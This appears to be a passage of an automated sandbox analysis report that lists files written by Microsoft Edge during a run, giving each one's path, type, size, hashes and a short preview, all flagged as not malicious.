SHA-512:	8836AFC198DFAD1343EEDB15922E322154B43C9015F6ABD1FD8EE62D96AF9D4960C7EB5FCD6E2A2F8F342D45AEDC394BDB029B6DE80661DD24F86F10432188AB
Malicious:	false
Preview:	2024/11/22-20:55:28.840 2368 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/22-20:55:28.841 2368 Recovering log #3.2024/11/22-20:55:28.841 2368 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2679239397924882
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMZSA1LyKOMq+8iP5GDHP/0jMVuml:Kq+n0JZ91LyKOMq+8iP5GLP/0w
MD5:	933932A429D4EAA3259398B6ABAC6B6A
SHA1:	CBC736406F5D4320AD601B1FA20D74589BB79EEB
SHA-256:	A11B67440F9991E95D5E1CD461AB6F44618C15049B0D34C81FA6CA06BD4D6029
SHA-512:	69A1779A8E2D339D5E442A04A340CCC988D70865AF8D8A55B0B94F6C249EDF8B3C69C7156114965FD46CAC5C8E8B93E96882C6D93A9E266A89E26EB517B584EF
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.4666845069604897
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0cm0D:v7doKsKuKZKlZNmu46yjx0cmc
MD5:	011D205D798F31B0F0E703797D70CC65
SHA1:	2F5B95D6562AFF79554D7759B0DB911B913F1D6B
SHA-256:	61BBD8D7C3F61E02B6650698C998B3F4AF8C3F5466A0CAB6AE7345AD688C1D62
SHA-512:	166A4CCE61EA5A16BCD6E0F52153E90EA2D5CA1E2A0C5826F4784EB3B79F0F2586BEBEAFA143316ED76E0FD066DF7084F7F01E2B2DE251444CB3E0280DBC4EC1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\a03b018e-9540-458e-8515-4ddfc4595f0e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40470
Entropy (8bit):	5.561069394945959
Encrypted:	false
SSDEEP:	768:OaVC7IWCf7pLGLPjVW5wgqf4kM8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPkxoPInkW:OYsIpZcPjVWagqf/Mu1jalxo2kb+vyLO
MD5:	9A4526EB3D89EACB90060265AFA53F10
SHA1:	82318D293ABF97E7DF9E9E4FAA4DA79E8961CEDC
SHA-256:	7F5AB12C786924BD3D338DA5080A85501068783FC561C13147B5E07C92BA5259
SHA-512:	403A1E7DB14F05D62C6D480CB2DAD5E02685A5A0CF2B9D28C546ACE9FA678CC00BA3BFEB6E555C910FAFFDE49C209C7177BACA69F638D3B15F9065EF0DDB0878
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376800528836612","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376800528836612","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\dac70c77-18bb-4ace-b934-1b015cf98f58.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38627
Entropy (8bit):	5.554639882750091
Encrypted:	false
SSDEEP:	768:OaVC7IWCf7pLGLPjVW5wgqf4kM8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPUPInkp+h:OYsIpZcPjVWagqf/Mu1jad2kb+vyEEUR
MD5:	954DD3D0B6DC80A6F70427C2446CE410
SHA1:	B919E29D7B0E45E4860140EA95D7123B417008CF
SHA-256:	60077D79BEC6F8F07BFEF4E3AB1166755178DE181ED4D08DDDD13127345D2F39
SHA-512:	6140C2B392AD5425B41EA94D3852070164EAF2FA86FE1D4648C6D936AC0BE49D483C4E93F8B1CE33832D67731F1CB92821DC8B6C927B8C67DCAA1EDAF9A83D2E
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376800528836612","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376800528836612","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.09901871221607932
Encrypted:	false
SSDEEP:	12:layBi1jlayBi1jSLpEjVl/PnnnnnnnnnnvoQREoBmY7:layulayuStoPnnnnnnnnnnvbjcY
MD5:	584555BFE8F9F95BCCD888087DB06602
SHA1:	C3E278CD75555E6167D087F152AD07DC6BFBEC91
SHA-256:	84D1C0ADF0D15FD0020CBE28F5877082A6B5CEFF68AD06EE493676174FE63013
SHA-512:	C03F50FAEE69CA298111049E4B60E23D4BB1F743072A413CEEEE0AE9F2B9874AFEA3071FBA423C72AF3CC0C860DA320ADA3ACE8F4308E14C7AC852A83A31EEBE
Malicious:	false
Preview:	..-.............I.......M....%.c$J...V...Mn.&A.M..-.............I.......M....%.c$J...V...Mn.&A.M........E...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	300792
Entropy (8bit):	0.8477781904259466
Encrypted:	false
SSDEEP:	384:bqA+Gfe2oo7G1iNJrpIZWAeP9uEHV87FZadtDypyMbyZyRsyexyW4:bVD49qcLQB8LaD+
MD5:	1ABC5A9D3D0A32699518718FFE59ED05
SHA1:	28D26891FCD15C5E9B218A5A7D54E7615C93C454
SHA-256:	985E4BF3F775F0CF4A969D851C8477D08AB541DA9DF41A640561447337F5B430
SHA-512:	1A9E1987D6A4D3CD047E5E5566F6458C59B13F9CC2AF755DE6D26047FD235E54C466158EC79B5D99DAAB2029F36AD0E6D4D8B43EBE4061D2D7BE45E2A416766C
Malicious:	false
Preview:	7....-..........$J...V....M7'.z.........$J...V..h.IR..4.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	628
Entropy (8bit):	3.2299958713988604
Encrypted:	false
SSDEEP:	12:p9lc8QyOuuuuuuuuuuuuuuuuuuuuuuuC8un:pHayW
MD5:	963DC830D4930C82E85C62D38A7D8D27
SHA1:	BD7482FFEA7B985494711B2CBF4509EA5BF7B86B
SHA-256:	6F221616FD2BBC5AFAD616763F5EF6CC166FDE84A32196C4CB85453DC7B0B156
SHA-512:	EF736AC7E40EC4715E4DBFFC7163105043911262B982592CDCBAF63069E6D4884B531735FDAA7F626144C5626A100967A5BE5AF10B017BA547BD9F4678907912
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..$.0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=..................0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.153156845836888
Encrypted:	false
SSDEEP:	6:HOfdQ4q2PN723oH+TcwtfrK+IFUt8YOfqR3JZmw+YOfqmZDkwON723oH+TcwtfrF:Qe4vVaYeb23FUt8bgJ/+bPD5OaYeb3J
MD5:	885F6EFAC0826DA1EEE1C93E13094C67
SHA1:	A2491D1FDA6130C24418D469EAD814C80CFD280D
SHA-256:	D410FCD4DFCBD33C6C6530A70CC542E46BBF2C5C5A832B66CDA7887CE2897EA1
SHA-512:	602350774ABE0E5E53B74D4071CE560841E6471F9AC4126FA742B1A96DEA47855DDE02A1A4E43B209579631B72A0DF3283780C4A99BEA345E3AEE87F255B5D8E
Malicious:	false
Preview:	2024/11/22-20:55:29.509 2330 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/22-20:55:29.510 2330 Recovering log #3.2024/11/22-20:55:29.511 2330 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.153156845836888
Encrypted:	false
SSDEEP:	6:HOfdQ4q2PN723oH+TcwtfrK+IFUt8YOfqR3JZmw+YOfqmZDkwON723oH+TcwtfrF:Qe4vVaYeb23FUt8bgJ/+bPD5OaYeb3J
MD5:	885F6EFAC0826DA1EEE1C93E13094C67
SHA1:	A2491D1FDA6130C24418D469EAD814C80CFD280D
SHA-256:	D410FCD4DFCBD33C6C6530A70CC542E46BBF2C5C5A832B66CDA7887CE2897EA1
SHA-512:	602350774ABE0E5E53B74D4071CE560841E6471F9AC4126FA742B1A96DEA47855DDE02A1A4E43B209579631B72A0DF3283780C4A99BEA345E3AEE87F255B5D8E
Malicious:	false
Preview:	2024/11/22-20:55:29.509 2330 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/22-20:55:29.510 2330 Recovering log #3.2024/11/22-20:55:29.511 2330 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	4.0647916882227655
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ySxs:G0nYUtypD32m3yWlIZMBA5NgKIvB8Sxs
MD5:	3BE72D8D40752B3A97028FDB2931FABA
SHA1:	A27EA4726857A948F0A4B074062B674469A9A371
SHA-256:	3C18553C8C3F7E801855F3579AC57F3C156D783BBA27FB35C6D2FB6CB89BD902
SHA-512:	8EBD4D6980BB7796615217E72BC65953C920B68B9259341CD52858C1E889EC90339E2A304FE0C971D6C6EF9AFC4A00CFB3E5CC89C7B2DF8737A0C7EC241BDADC
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... ......................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.155856592836463
Encrypted:	false
SSDEEP:	6:HOfYRv4q2PN723oH+TcwtfrzAdIFUt8YOf7NJZmw+YOf7NDkwON723oH+Tcwtfrm:QYRv4vVaYeb9FUt8bBJ/+bBD5OaYeb2J
MD5:	9458052F2150044623D70C6C64DC0ECA
SHA1:	B51A49CE953125564B64BEC172B1477781161ED4
SHA-256:	C2F1F11BD4485F4D853D7E6CB956F29637DC7DF1291895E4C90546402589F7A1
SHA-512:	8420C3AF44EE5887CCBB41ACF17EBD2F24DE090530BD737C818F1B6A385F10C21F203526B581C459248D0E99A241C50A2CD8E488D4A420FA79A0DEF47C34A5D5
Malicious:	false
Preview:	2024/11/22-20:55:29.499 2330 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/22-20:55:29.504 2330 Recovering log #3.2024/11/22-20:55:29.504 2330 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.155856592836463
Encrypted:	false
SSDEEP:	6:HOfYRv4q2PN723oH+TcwtfrzAdIFUt8YOf7NJZmw+YOf7NDkwON723oH+Tcwtfrm:QYRv4vVaYeb9FUt8bBJ/+bBD5OaYeb2J
MD5:	9458052F2150044623D70C6C64DC0ECA
SHA1:	B51A49CE953125564B64BEC172B1477781161ED4
SHA-256:	C2F1F11BD4485F4D853D7E6CB956F29637DC7DF1291895E4C90546402589F7A1
SHA-512:	8420C3AF44EE5887CCBB41ACF17EBD2F24DE090530BD737C818F1B6A385F10C21F203526B581C459248D0E99A241C50A2CD8E488D4A420FA79A0DEF47C34A5D5
Malicious:	false
Preview:	2024/11/22-20:55:29.499 2330 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/22-20:55:29.504 2330 Recovering log #3.2024/11/22-20:55:29.504 2330 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089755103804054
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWqdi1zNtPMlkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynWSkzItSmd6qE7lFoC
MD5:	05299470B8FDFAC6C1573E130807515F
SHA1:	4901BC8C66B2A8902E415C4C5071C605C4436263
SHA-256:	803020E3AE5E80535A8F22B23FEAB67F1B8A8B42959622137E95EE47512C0603
SHA-512:	B591FADF9822D8E7D4CA18FC1D479EFCD38B2B0F9E7783EA9099CF6EBB863A17CC5A728663B7352638D012256F93A5160F6DDE1C3EAF43DF7061081D7FA4C3FB
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF39b57.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089755103804054
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWqdi1zNtPMlkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynWSkzItSmd6qE7lFoC
MD5:	05299470B8FDFAC6C1573E130807515F
SHA1:	4901BC8C66B2A8902E415C4C5071C605C4436263
SHA-256:	803020E3AE5E80535A8F22B23FEAB67F1B8A8B42959622137E95EE47512C0603
SHA-512:	B591FADF9822D8E7D4CA18FC1D479EFCD38B2B0F9E7783EA9099CF6EBB863A17CC5A728663B7352638D012256F93A5160F6DDE1C3EAF43DF7061081D7FA4C3FB
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF39fac.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089755103804054
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWqdi1zNtPMlkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynWSkzItSmd6qE7lFoC
MD5:	05299470B8FDFAC6C1573E130807515F
SHA1:	4901BC8C66B2A8902E415C4C5071C605C4436263
SHA-256:	803020E3AE5E80535A8F22B23FEAB67F1B8A8B42959622137E95EE47512C0603
SHA-512:	B591FADF9822D8E7D4CA18FC1D479EFCD38B2B0F9E7783EA9099CF6EBB863A17CC5A728663B7352638D012256F93A5160F6DDE1C3EAF43DF7061081D7FA4C3FB
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3c68d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089755103804054
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWqdi1zNtPMlkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynWSkzItSmd6qE7lFoC
MD5:	05299470B8FDFAC6C1573E130807515F
SHA1:	4901BC8C66B2A8902E415C4C5071C605C4436263
